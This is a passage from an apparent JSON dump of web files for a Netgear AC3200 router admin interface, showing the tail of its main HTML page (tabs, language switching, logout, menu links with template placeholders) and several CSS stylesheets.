form=document.forms[0];\n        var gui_region = form.curlang.value;\n        var brslang = form.first_brs_lang.value;  \n        var choice = form.choicelang.value;     \n        var auto_block = form.auto_block.value; \n        var gui_lang = form.gui_lang.value;\n\n        if(choice === \"Auto\"){\n            if(auto_block == \"0\"){\n\n                if(gui_lang != brslang){\n                    ret = confirm(\"<%280%> \"+ gui_lang_local + \"\"+\"<%281%> \"+\"\"+ brslang + \"?\");\n                    if(ret==1){\n                        if($(\"#BasicTab\").hasClass('current')){\n                           loadPage(\"LANG_check_redirect2.htm\");\n                        }else{\n                           loadPage2(\"LANG_check_redirect2.htm\");\n                        }\n                    }else{\n                        if($(\"#BasicTab\").hasClass('current')){\n                            loadPage(\"auto_block.htm\");\n                        }else{\n                            loadPage2(\"auto_block.htm\");\n                        }\n                   }\n                   return true;\n               }\n            }\n        }\n        \n        return false;\n}\n\n\nfunction fw_upgrade_hint()\n{\t//alert(\"15\");\n    if($(\"#BasicTab\").hasClass('current')){\n        loadPage(\"UPG_fw_check2.htm\");\n    }else{\n        loadPage2(\"UPG_fw_check2.htm\");\n    }    \n}\n\nfunction gui_logout()\n{\t//alert(\"16\");\n    if($(\"#BasicTab\").hasClass('current')){\n        top.location.href=\"LGO_logout.htm\";\n    }\n    else\n    {\n        top.location.href=\"LGO_logout.htm\";\n    }\n}\n\n\nfunction change_size()\n{\t//alert(\"17\");\n    setLanglistPosition();\n\tsetFooterClass();\n    subpage_resize();\n}\n\n</script>\n</head>\n<body style=\"padding:0;margin:0;background-color:#e5e5e5;overflow:none\" onload=\"change_size();\" onResize=\"change_size();\">\n<table width=\"100%\" CELLPADDING=0 CELLSPACING=0 style=\"padding:0;margin:0;\" id=\"all\">\n<tr width=\"100%\">\n\n\n<td style=\"width:100%;height:100%\">\n<table style=\"height:100px;width:100%;margin:0;padding:0\" CELLPADDING=0 CELLSPACING=0 class=\"newtopframe\">\n\n<tr>\n    <td style=\"padding-left:20px\">\n        <img style=\"position:relative;left:-7px;\" src=\"img/NewNetgeargenie.png\" >\n        <br><span id=\"ModuleName\"><b>AC3200-Nighthawk</b></span>\n        \n    </td>\n    <td style=\"text-align:right;padding-right:25px\">\n        <button type=\"button\" value=\"BUTTON\"  onClick=\"gui_logout();\" name=\"logout\" class=\"button-rule\" style=\"padding-left:10px\" ><span class=\"roundleft_button\">&nbsp;&nbsp;&nbsp;&nbsp;Logout</span><span class=\"roundright_button\">&nbsp;&nbsp;&nbsp;&nbsp;</span></button>\n      </td>\n\n\n</tr>\n</table>\n\n<table CELLPADDING=0 CELLSPACING=0 style=\"height:520px;width:100%;margin:0;padding:0\">\n<form name=\"frmLanguage\">\n\n    <input type=\"hidden\" name=\"curlang\" value=\"Auto\"> \n\t<input type=\"hidden\" name=\"curlang\" value=\"<%9%>\"> \n\t<input type=\"hidden\" name=\"curlang\" value=\"<%9%>\">\n\t<input type=\"hidden\" name=\"local_srptlang\" value=\"<%297%>\">\n\t<input type=\"hidden\" name=\"srptlang\" value=\"<%298%>\">\n\t<input type=\"hidden\" name=\"select_region\" value=\"\">\n    <input type=\"hidden\" name=\"first_brs_lang\" value=\"<%299%>\"> \n    <input type=\"hidden\" name=\"auto_block\" value=\"<%300%>\">\n    <input type=\"hidden\" name= \"gui_lang\" value=\"<%9%>\">\n    <input type=\"hidden\" name= \"gui_lang_local\" value=\"\">\n      \n<tr>\n<td>\n<!-- tabs -->\n<ul class=\"tabs\" width=\"100%\" >\n    <li><a id=\"BasicTab\"class=\"current\" onFocus=\"this.blur()\" href=\"#\"><span>BASIC</span></a></li>\n    <li><a id=\"AdvanceTab\" onFocus=\"this.blur()\" href=\"#\"><span>ADVANCED</span></a></li>   \n    \n    <li id=\"lang_menu_li\" style=\"\" >\n       <select name=\"choicelang\" size=\"1\" id=\"lang_menu\" class=\"selectbox\" onchange=\"chgLang();this.blur();\">\n       <script>ShowLanguageList();</script>\n       </select>\n    </li>    \n</ul>\n<!-- tab \"panes\" -->\n<div class=\"pane\" id=\"basic-pane\">\n<table width=\"100%\" CELLPADDING=\"0\" CELLSPACING=\"0\" id=\"basic-table\" style=\"padding:0;margin:0;height:480px\">\n<tr>\n<td style=\"background-color:#E5E5E5;width:200px;font-size:12px;font-family:Arial;\">\n\t<div class=\"basic-menu\">\n            <div class=\"basic-menu-div\" id=\"basic-home\"><a href=\"DashBoard.htm\"><span>HOME</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-int\"><a href=\"<%305%>\" id=\"INT_menu\"><span>Internet</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-wls\"><a href=\"<%275%>\" id=\"WLS_menu\"><span>WIFI Connection</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-atd\"><a href=\"DEV_redirect.htm\"><span>Network Map</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-par\"><a href=\"http://netgear.opendns.com/\" id=\"PAR_menu\"><span>Router Settings</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-rea\"><a href=\"USB_basic_main.htm\"><span>Parental Controls</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-gst\"><a href=\"<%311%>\"><span>AirPrint</span></a></div>\n            <div class=\"basic-menu-div\" id=\"basic-rea\"><a href=\"USB_basic_main.htm\"><span>Network Support</span></a></div>\n\t\t\t<div class=\"basic-menu-eco-div\" id=\"basic-eco\"><a href=\"https://genie.netgear.com/\" id=\"ECO_menu\"><span>Genie+ Marketplace</span></a></div>\n\t\t   </div>\n</td>\n<td style=\"background-color:#e5e5e5;width:760px;height:480px;font-family:Arial;\">\n<div id=\"page_contain\" >\n<iframe id=\"page\" style=\"width:600px;height:405px;margin-left:30px\" name=\"page\"  frameborder=\"0\" border=\"0\" cellspacing=\"0\" scrolling=\"no\" onFocus=\"this.blur()\" src=\"\"></iframe>       \n</div>\n</td>\n</tr>\n</table>\n</div>\n\n<div class=\"pane\" id=\"adv-pane\">\n<table CELLPADDING=0 CELLSPACING=0 id=\"advance-table\" style=\"padding:0;margin:0;height:100px;border:0;width:960px;\">\n<tr style=\"height:480px;\">\n<td style=\"background-color:#E5E5E5;width:200px;\">\n<ul class=\"advance-menu\">          \n</td>\n<td style=\"background-color:#e5e5e5\">\n<div id=\"page_contain2\">\n<iframe id=\"page2\" name=\"page2\" style=\"width:600px;height:405px;margin-left:30px\"  frameborder=\"0\" border=\"0\" cellspacing=\"0\" scrolling=\"no\" onFocus=\"this.blur()\"></iframe>       \n</div>\n</td>\n</tr>\n</table>\n</div>\n</td>\n</tr>\n<!-- tab \"panes\" -->\n</form>\n</table>\n</td>\n\n\n</tr>\n\n</table>\n\n<div id=\"container\" class=\"container_center\">\n<div id=\"footer\" class=\"footer\">\n\t<img class=\"footer_img\" src=\"img/footer.gif\">\n\n\t\t<a target=\"_Grey\" href=\"http://downloadcenter.netgear.com/\">Router Model AC3200 </a> | \n\n                <a target=\"_Grey\" href=\"http://downloadcenter.netgear.com/\">V.139 K2</a> |\n\n</div>\n</div>\n\n\n\n\n<div id=\"preloaded-images\">\n   <img src=\"img/basic-white-button.gif\" width=\"1\" height=\"1\" alt=\"\">  \n   <img src=\"img/firmware-hint-background.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/barrow.jpg\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/basic-white-button.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/firmware-hint-background.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/barrow.jpg\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/subMenuActive.png\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/subMenuActiveLarge.png\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/barrow_down.jpg\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/basic-purple-button.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/roundedcornr_637010.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/warrow.jpg\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"ajax-loader.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/main-page-bottom.gif\" width=\"1\" height=\"1\" alt=\"\">\n   <img src=\"img/gray-button.gif\" width=\"1\" height=\"1\" alt=\"\">\n    <input type=\"hidden\" name=\"repeater\" value=\"<%382%>\">\n    <input type=\"hidden\" name=\"repeater_an\" value=\"<%383%>\">\n    <input type=\"hidden\" name=\"enable_apmode\" value=\"<%384%>\">   \n    <input type=\"hidden\" name=\"enable_stamode\" value=\"<%385%>\">   \n</div>                                                \n<!-- This JavaScript snippet activates those tabs -->\n<script>\n\n// perform JavaScript after the document is scriptable.\n$(function() {\n\t// setup ul.tabs to work as tabs for each div  directly under div.panes\n\t$(\"ul.tabs\").tabs(\"> .pane\");     \n        var pnpx = <%386%>\n            if(pnpx == 1){           \n            $(\"#AdvanceTab\").click();\n            $(\"#basic-pane\").css(\"display\",\"none\");\n            $(\"#adv-pane\").css(\"display\",\"block\");           \n            pnpx = 0;      \n        }                 \n});\n</script>\n\n<script>\n    $(\".current\").css(\"background\",\"url(../img/tab-active.gif) no-repeat 0\");\n    $(\"#AdvanceTab\").css(\"background\",\"url(../img/tab-nonactive.gif) no-repeat 0\");     \n    $(\".noSub\").first().addClass(\"noSubActive\");\n    $('.basic-menu-div').first().addClass('menuActive'); \n    \n</script>\n</body>\n</html>\n"
  },
  {
    "path": "sites/netgear/css/MNUAccess.css",
    "content": ".MNUTitle\r\n{\r\n\tfont-family: Arial, Helvetica, sans-serif; \r\n\tfont-size:18px;\r\n\theight:25px;\r\n  color:#0099cc;    \r\n\twidth:600px;\r\n\tpadding-left:20px;\r\n\tfont-weight:bold;\r\n}\r\n\r\n.MNUText{\r\n\tfont-family: Arial, Helvetica, sans-serif;  \r\n\tfont-size:12px;\r\n\theight:25px;\r\n\tcolor:#404040;    \r\n\tfont-weight:bold;\r\n}\r\n.MNUTitle2\r\n{\r\n\tfont-family: Arial, Helvetica, sans-serif; \r\n\tfont-size:18px;\r\n\theight:25px;\r\n    color:#0707DD;    \r\n\twidth:600px;\r\n\tfont-weight:bold;\r\n}\r\n"
  },
  {
    "path": "sites/netgear/css/button.css",
    "content": "\r\nbutton { \r\n\t  border: 0; \r\n\t  cursor: pointer;\r\n    overflow: visible; /* removes extra side padding in IE */\r\n}\r\n\r\nbutton:active{\r\n   -ms-background-position-x:1px;\r\n   -ms-background-position-y:1px;\r\n}\r\n\r\n\r\n.button-grey span.roundleft_grey{\r\n\t      padding: 3px 0px 5px 10px; \r\n\t      margin:0px;\r\n        border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: transparent url(\"../img/roundleft_grey.gif\") no-repeat left 0px;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.roundleft_grey{\r\n\t      padding: 3px 0px 5px 10px; \r\n\t      margin:0px;\r\n        border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: transparent url(\"../img/roundleft_grey.gif\") no-repeat left 0px;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n\r\n.roundright_grey{\r\n\t      padding: 3px 5px 5px 0px; \r\n\t      margin:0px;\r\n              width:20px;\r\n              border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: url(\"../img/roundright_grey.gif\") no-repeat top right;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.button-grey{\r\n\t      padding: 5px 0px 5px 0px;\r\n\t      margin:0px;\r\n\t\t  border:0px;\r\n\t      height:25px;\r\n\t      font-size:11px; \r\n\t      font-family:Arial;\r\n\t\t  background: transparent;\r\n}\r\n\r\n.roundleft_button{\r\n\t      padding: 3px 0px 5px 10px; \r\n\t      margin:0px;\r\n        border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: transparent url(\"../img/roundleft_button.gif\") no-repeat left 0px;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.button-rule span.roundleft_button{\r\n\t      padding: 3px 0px 5px 10px; \r\n\t      margin:0px;\r\n        border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: transparent url(\"../img/roundleft_button.gif\") no-repeat left 0px;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.roundright_button{\r\n\t      padding: 3px 5px 5px 0px; \r\n\t      margin:0px;\r\n              width:20px;\r\n              border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: url(\"../img/roundright_button.gif\") no-repeat top right;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.button-rule{\r\n\t      padding: 5px 0px 5px 0px;\r\n\t      margin:0px;\r\n\t\t  border:0px;\r\n\t      height:25px;\r\n\t      font-size:11px; \r\n\t      font-family:Arial;\r\n\t\t  background: transparent;\r\n}\r\n\r\n.button-apply span.roundleft_apply{\r\n\t      padding: 3px 0 5px 20px; \r\n              width:20px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: transparent url(\"../img/roundleft_apply.gif\") no-repeat left 0px ; \r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.roundright_apply{\r\n\t      padding: 3px 0px 5px 0px; \r\n\t      margin:0px;\r\n              width:20px;\r\n              border:0px;\r\n\t      height:22px; \r\n\t      font-weight:bold;\r\n\t      background: url(\"../img/roundright_apply.gif\") no-repeat right top;\r\n\t      color:#F2F2F2; \r\n\t      white-space:nowrap;\r\n}\r\n\r\n.button-apply{\r\n\t      padding: 5px 0px 5px 0px;\r\n\t      margin:0px;\r\n\t      height:25px;\r\n\t      font-size:11px; \r\n\t      font-family:Arial;\r\n\t      background: transparent;\r\n}\r\n\r\n\r\n.button-help-arrow{\r\n        float:left;\r\n        margin-left:-30px;\r\n        padding-top:2px;\r\n}\r\n\r\n.button-help-arrow a:hover{\r\n        cursor:pointer;\r\n}\r\n\r\n.refresh-icon{\r\n    background-image:url('../img/refresh-icon.gif');\r\n    background-repeat:no-repeat;\r\n    background-position:0px 2px;\r\n}\r\n\r\n.cancel-icon{\r\n    background-image:url('../img/cancel_icon.gif');\r\n    background-repeat:no-repeat;\r\n    background-position:0px 2px;\r\n}\r\n\r\n.add-icon{\r\n    background-image:url('../img/add_icon.gif');\r\n    background-repeat:no-repeat;\r\n    background-position:0px 2px;\r\n}\r\n.apply-icon{\r\n    background-image:url('../img/apply_icon.gif');\r\n    background-repeat:no-repeat;\r\n    background-position:0px 2px;\r\n}\r\n\r\n.edit-icon{\r\n    background-image:url('../img/edit_icon.gif');\r\n    background-repeat:no-repeat;\r\n    background-position:0px 2px;\r\n}\r\n\r\n.apply_bt{ height: 22px; color: #f2f2f2; font-family: Arial; font-weight: Bold; font-size: 14px; background-color: transparent; border: none; cursor: pointer; padding-bottom: 2px;}\r\n.apply_bt{width: 130px; background: url(../img/_m_upgrade.gif) no-repeat;}\r\n"
  },
  {
    "path": "sites/netgear/css/help.css",
    "content": ".help-text{\r\n    font-family:Arial;\r\n}\r\n\r\nh1{\r\n    font-size:16px;\r\n    color:#989dff;\r\n    font-weight:bold;\r\n}\r\n\r\n\r\nh2{\r\n    font-size:16px;\r\n    color:#ffffff;\r\n    font-weight:bold;\r\n}\r\n\r\n\r\nfont,b{\r\n    color:#989dff;\r\n}\r\n\r\np{\r\n    font-size:12px;\r\n}\r\n\r\n\r\np.inline{\r\n    display:inline;\r\n}\r\n\r\n\r\n\r\nbody{\r\n    font-family:Arial;\r\n    background-color:#202020;\r\n    color:#E0E0E0;\r\n    width:100%;\r\n    height:100%;\r\n    overflow:no;\r\n    font-size:12px;\r\n\r\n    scrollbar-track-color:#767676;\r\n    scrollbar-arrow-color:#E0E0E0;\r\n    scrollbar-face-color:#E0E0E0;\r\n    scrollbar-3dlight-color:#E0E0E0;\r\n    scrollbar-highlight-color:#E0E0E0;\r\n    scrollbar-shadow-color:#E0E0E0;\r\n    scrollbar-darkshadow-color:#E0E0E0;\r\n\r\n\r\n}\r\n\r\nli{\r\n    font-size:12px;\r\n}\r\n\r\nul{\r\n    font-size:12px;\r\n}\r\n\r\n\r\nb#italic{\r\n\toverflow:auto;\r\n\tfont-size:12px;\r\n\tcolor:#E0E0E0;\r\n}\r\n"
  },
  {
    "path": "sites/netgear/css/jScrollPane.css",
    "content": ".jScrollPaneContainer {\r\n\tposition: relative;\r\n\toverflow: hidden;\r\n\tz-index: 1;\r\n}\r\n\r\n.jScrollPaneTrack {\r\n\tposition: absolute;\r\n\tcursor: pointer;\r\n\tright: 0;\r\n\ttop: 0;\r\n\theight: 100%;\r\n\tbackground: #aaa;\r\n}\r\n.jScrollPaneDrag {\r\n\tposition: absolute;\r\n\tbackground: #666;\r\n\tcursor: pointer;\r\n\toverflow: hidden;\r\n}\r\n.jScrollPaneDragTop {\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\tleft: 0;\r\n\toverflow: hidden;\r\n}\r\n.jScrollPaneDragBottom {\r\n\tposition: absolute;\r\n\tbottom: 0;\r\n\tleft: 0;\r\n\toverflow: hidden;\r\n}\r\na.jScrollArrowUp {\r\n\tdisplay: block;\r\n\tposition: absolute;\r\n\tz-index: 1;\r\n\ttop: 0;\r\n\tright: 0;\r\n\ttext-indent: -2000px;\r\n\toverflow: hidden;\r\n\t/*background-color: #666;*/\r\n\theight: 9px;\r\n}\r\na.jScrollArrowUp:hover {\r\n\t/*background-color: #f60;*/\r\n}\r\n\r\na.jScrollArrowDown {\r\n\tdisplay: block;\r\n\tposition: absolute;\r\n\tz-index: 1;\r\n\tbottom: 0;\r\n\tright: 0;\r\n\ttext-indent: -2000px;\r\n\toverflow: hidden;\r\n\t/*background-color: #666;*/\r\n\theight: 9px;\r\n}\r\na.jScrollArrowDown:hover {\r\n\t/*background-color: #f60;*/\r\n}\r\na.jScrollActiveArrowButton, a.jScrollActiveArrowButton:hover {\r\n\t/*background-color: #f00;*/\r\n}"
  },
  {
    "path": "sites/netgear/css/jquery.flexbox.css",
    "content": "/* Input textbox - do not specify a width here, it will be overwritten */\r\n.ffb-input \r\n{\r\n\tfloat:left;\r\n\tcolor:#000; /* must specify along with watermark color */\r\n\theight:16px; /* required for webkit browsers (Safari, Chrome) */\r\n}\r\n/* Color of watermark, if present */\r\n.ffb-input.watermark { /* added and removed dynamically */\r\n\tcolor:#888; /* must specify along with input color */\r\n}\r\n/* Drop-down arrow, with sprited image */\r\n.ffb-arrow \r\n{\r\n\tfloat:left;\r\n\twidth:18px;\r\n\theight:22px;\r\n\tbackground-image:url(../img/sel_win7.gif);\r\n}\r\n.ffb-arrow.out { /* css sprite technique */\r\n\tbackground-position:0;\r\n}\r\n.ffb-arrow.over { /* css sprite technique */\r\n\tbackground-position:-18px 0;\r\n}\r\n.ffb-arrow.active { /* css sprite technique */\r\n\tbackground-position:-35px 0;\r\n}\r\n.ffb-no-results \r\n{\r\n\tpadding:2px;\r\n\tcolor:#888;\r\n\tfont-style:italic;\r\n\tborder-bottom:1px solid #828790;\r\n}\r\n/* Container for dropdown contents */\r\n.ffb {\r\n\tposition:absolute; /* this guy's parent div is hard-coded to position:relative */\r\n\toverflow:hidden;\r\n\tborder-left:1px solid #828790; /* #7B9EBD for Vista */\r\n\tborder-right:1px solid #828790;\r\n\tbackground-color:#fff; /* Give it a background-color, so it's not transparent */\r\n}\r\n/* Inner div for dropdown */\r\n.ffb .content {\r\n\toverflow:auto;\r\n}\r\n.ffb .content .row {\r\n\tborder-bottom:0px ;\r\n\tcolor:#000;\r\n\theight:20px;\r\n\tclear:both;\r\n}\r\n.ffb-sel {\r\n\tcursor:pointer;\r\n\tcursor:hand;\r\n\tcolor:#fff !important;\r\n\tbackground-color:#39f;\r\n}\r\n.ffb-match {\r\n\tfont-weight:bold;\r\n\tcolor:#000;\r\n}\r\n\r\n/* Paging */\r\n.ffb .paging {\r\n\tvertical-align:middle;\r\n\tborder-bottom:1px solid #828790;\r\n}\r\n.ffb .page, .ffb a.page {\r\n\tfont-size:85%;\r\n\tpadding:2px;\r\n\tborder:solid 1px #339;\r\n\tbackground-color:#eef;\r\n\tmargin:2px;\r\n}\r\n.ffb .box {\r\n\twidth:22px;\r\n\tmargin:2px;\r\n}\r\n.ffb .summary {\r\n\tfont-size:85%;\r\n}"
  },
  {
    "path": "sites/netgear/css/jquery.jscrollpane.css",
    "content": "/*\n * CSS Styles that are needed by jScrollPane for it to operate correctly.\n *\n * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane\n * may not operate correctly without them.\n */\n\n.jspContainer\n{\n\toverflow: hidden;\n\tposition: relative;\n}\n\n.jspPane\n{\n\tposition: absolute;\n}\n\n.jspVerticalBar\n{\n\tposition: absolute;\n\ttop: 0;\n\tright: 0;\n\twidth: 16px;\n\theight: 100%;\n\tbackground: red;\n}\n\n.jspHorizontalBar\n{\n\tposition: absolute;\n\tbottom: 0;\n\tleft: 0;\n\twidth: 100%;\n\theight: 16px;\n\tbackground: red;\n}\n\n.jspVerticalBar *,\n.jspHorizontalBar *\n{\n\tmargin: 0;\n\tpadding: 0;\n}\n\n.jspCap\n{\n\tdisplay: none;\n}\n\n.jspHorizontalBar .jspCap\n{\n\tfloat: left;\n}\n\n.jspTrack\n{\n\tbackground: #dde;\n\tposition: relative;\n}\n\n.jspDrag\n{\n\tbackground: #bbd;\n\tposition: relative;\n\ttop: 0;\n\tleft: 0;\n\tcursor: pointer;\n}\n\n.jspHorizontalBar .jspTrack,\n.jspHorizontalBar .jspDrag\n{\n\tfloat: left;\n\theight: 100%;\n}\n\n.jspArrow\n{\n\tbackground: #50506d;\n\ttext-indent: -20000px;\n\tdisplay: block;\n\tcursor: pointer;\n}\n\n.jspArrow.jspDisabled\n{\n\tcursor: default;\n\tbackground: #80808d;\n}\n\n.jspVerticalBar .jspArrow\n{\n\theight: 16px;\n}\n\n.jspHorizontalBar .jspArrow\n{\n\twidth: 16px;\n\tfloat: left;\n\theight: 100%;\n}\n\n.jspVerticalBar .jspArrow:focus\n{\n\toutline: none;\n}\n\n.jspCorner\n{\n\tbackground: #eeeef4;\n\tfloat: left;\n\theight: 100%;\n}\n\n/* Yuk! CSS Hack for IE6 3 pixel bug :( */\n* html .jspCorner\n{\n\tmargin: 0 -3px 0 0;\n}"
  },
  {
    "path": "sites/netgear/css/mainpage.css",
    "content": "html, body {\n\t\tmargin: 0;\n\t\tpadding: 0;\n\t\tbackground-color:#e5e5e5;\n                min-height:600px;\n\t}\n\n\th1{\n\t\tpadding-left:37%;\n\t\tfont-size:16px;\n\t\tfont-family:arial;\n\t}\n\n\th2{\n\t\tpadding-left:20%;\n\t\tfont-size:14px;\n\t\tfont-family:arial;\n\t}\n\n  hr{\n    border:none;\n    border-top:1px solid black;\n    height:0;\n  }\t\n\n.topframe{\n\tbackground-color:#2b2b2b;\n\tcolor:#ffffff;\n\tfont-size:12px;\n\tfont-family:Arial;\n\tmargin:0;\n\tpadding: 0;\t\n}\n\n.newtopframe{\n\tbackground-color:#ffffff;\n\tcolor:#000000;\n\tfont-size:12px;\n\tfont-family:Arial;\n\tmargin:0;\n\tpadding: 0;\t\n}\n\n\n.WNRTitle{\n\tfont-family:Arial;\n\tpadding-top:0px;\n        padding-bottom:0px;\n\tmargin-top: 0px;\t\n\tpadding-left:15px; \t\n\tfont-weight:bold;\n\tfont-size:12px;\n}\n\n\n\n\n\n.main-page-bottom-table{\n\t  #padding-left:20px;\n\t  margin-top:15px;\n\t  margin-left:20px;\n    height:20px;\n    width:95%;    \n    border-collapse:collapse;\n}\n\n\n.main-page-help-support-text{\n\tfont-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif;\n\tcolor:#FFFFFF;\n\tfont-size:14px;\n  font-weight:bold;\t\n\t}\n\n\n.main-page-bottom-text{\n\tmargin:0px;\n\tfont-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif;\n\tcolor:#C0C0C0;\n\tfont-size:12px;\n  font-weight:Normal;\t\n  border-left-style:solid;\n  border-color:#EEEEEE;\n  border-left-width:1px;\n}\n\n\n.main-page-search-go{\n  background-image:url(../img/search-go.gif);\n  background-repeat:no-repeat;     \n  border-style: none;\n  background-color:#373737; \n  width:35px;\n  margin-left:3px; \n  height:20px;\n  font-family:arial;\n  color:#ffffff;\n  font-weight:bold;\n}\n\n.main-page-contain{\n  #background-image:url(../frame_back.jpg);\n  background-repeat:no-repeat;     \n}\n\n.main-page-contain2{\n  #background-image:url(../frame_back2.jpg);\n  background-repeat:no-repeat;     \n}\n\n.main-page-contain-loading{\n  background-image:url(../ajax-loader.gif);\n  background-repeat:no-repeat;     \n  background-position:45% 40%;\n}\n  \n.selectbox{\n   background-color:#ffffff;\n   color:#373737;\n   font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif;\n   font-weight:bold;\n}\n\ndiv#preloaded-images {\n   position: absolute;\n   overflow: hidden;\n   left: -9999px; \n   top: -9999px;\n   height: 1px;\n   width: 1px;\n}\n\n\n.pointer-cursor{\n  cursor: pointer;\n}\n\n.default-cursor{\n  cursor: auto;\n}  \n\n\n\n\n\n#top{_width: 1440px; min-width: 820px; height: 97px; position: absolute; left: 20px; right: 20px; }\n#topframe{width: 100%; height: 97px; }\n\n#middle{ width: 100%; min-height:455px; _height: 795px; position:absolute; top:5px; bottom:0px; left: 0; right: 0; }\n\n#menu{ float: left; width: 195px; font-family: Arial; font-weight: Bold; font-size: 15px; text-align: left; position:absolute; top:0; bottom:45px;}\n\n#menu .basic_button{margin-bottom: 5px;  width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_white.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer; overflow:hidden;}\n#menu .basic_button_big{margin-bottom: 5px;  width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_white_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;}\n#menu .basic_button_big_grey{margin-bottom: 5px;  width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/basic_menu_grey_big.gif); background-repeat: no-repeat; color: #4e4e4e;cursor:pointer;}\n#menu .basic_button_purple{margin-bottom: 5px;  width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_purple.gif); background-repeat: no-repeat; color: #ffffff;}\n#menu .basic_button_big_purple{margin-bottom: 5px;  width: 190px; height: 46px; padding-left:5px; padding-top:5px; background-image:url(../image/menu/baisc_menu_white_big_purple.gif); background-repeat: no-repeat; color: #ffffff;}\n#menu .basic_button_grey{margin-bottom: 5px;  width: 190px; height: 29px; background-image:url(../image/menu/basic_menu_grey.gif); background-repeat: no-repeat; color: #808080;}\n\n#menu .basic_button span,  #menu .basic_button_purple span, #menu .basic_button_big span, #menu .basic_button_big_purple span, #menu .basic_button_big_grey span{ display:-moz-inline-box; display:inline-block; width:160px; }\n#menu .basic_button b, #menu .basic_button_purple b, #menu .basic_button_grey b{margin:auto 5px; line-height:28px;}\n#menu .basic_button_big b, #menu .basic_button_big_purple b ,  #menu .basic_button_big_grey b{margin:auto; line-height:22px; width:10px;}\n\n#formframe_div{float: left; min-width: 625px; _width: 1245px; min-height: 410px; _height: 707px; position:absolute; top:0; bottom:45px; left:200px; right: 0; }\n.container_center{width:910px; min-width:910px; position:absolute;  top:610px; bottom:0; left: 20px;  right: 20px; }\n.footer{ width: 100%;  height: 43px; float: left; color: #ffffff; position:absolute; bottom:0px; }\n.footer_double{ width: 100%; height: 86px; color: #ffffff; position:absolute; bottom:0px; }\n.footer_img { width: 100%; height: 100%; }\n.footer b, .footer_double b{font: bold 16px arial;}\n.footer a, .footer_double a{ color: #ffffff; font: normal 11px arial; text-decoration: none;}\n\n.footer #support{ float:left; line-height: 42px; position: absolute; left: 10px; top: 0; }\n.footer_double #support{ line-height: 42px; position: absolute; left: 10px; top: 0;}\n.footer #search{ float: right; position: absolute; top: 10px; right: 10px;}\n.footer_double #search{ float: right; position: absolute; bottom: 10px; right: 10px;}\n\n#footer #search .search_button{background: Transparent url(../img/search_button.gif ) no-repeat; border: none; width:39px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; }\n#footer #search .search_button_middle{background: Transparent url(../img/search_button_middle.gif ) no-repeat; border: none; width:65px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; }\n#footer #search .search_button_long{background: Transparent url(../img/search_button_long.gif ) no-repeat; border: none; width:95px; height:22px; font: bold 14px arial ; color: #ffffff; cursor: pointer; }\n\n\n"
  },
  {
    "path": "sites/netgear/css/menu.css",
    "content": "/* tab pane styling */\n\nbody {\n\t  width:100%;\n}\n\n\n.panes div {\n\n    display:none;\n    width:100%;\n    height:100%;\n    border:0;\n    border-top:0;\n    font-size:14px;\n    background-color:#E5E5E5;\n}\n\n.panes{\n\n    display:none;\n    width:100%;\n    height:100%;\n    border:0;\n    border-top:0;\n    font-size:14px;\n    background-color:#E5E5E5;\n}\n.basic-menu{\n    margin:0px;\n    margin-left:10px;\n    margin-top:20px;\n    color:#4e4e4e;\n    background-color:#E5E5E5;\n    height:480px;     \n    width:200px; \n}\n\n.basic-menu-div{\n    list-style:none;\n    margin-left:0px;\n    height:30px;\n    width:200px;\n    background-color:#E5E5E5;\n    background: url(\"../img/basic-white-button.gif\")  no-repeat left top;\n}\n\n.basic-menu-div span{\n\tcolor: #4C4C4C;\n  margin-left:10px;\n  float:left;\n  width:180px;\n  padding-top:4px;\t\n  background: url(\"../img/barrow.jpg\") no-repeat 165px 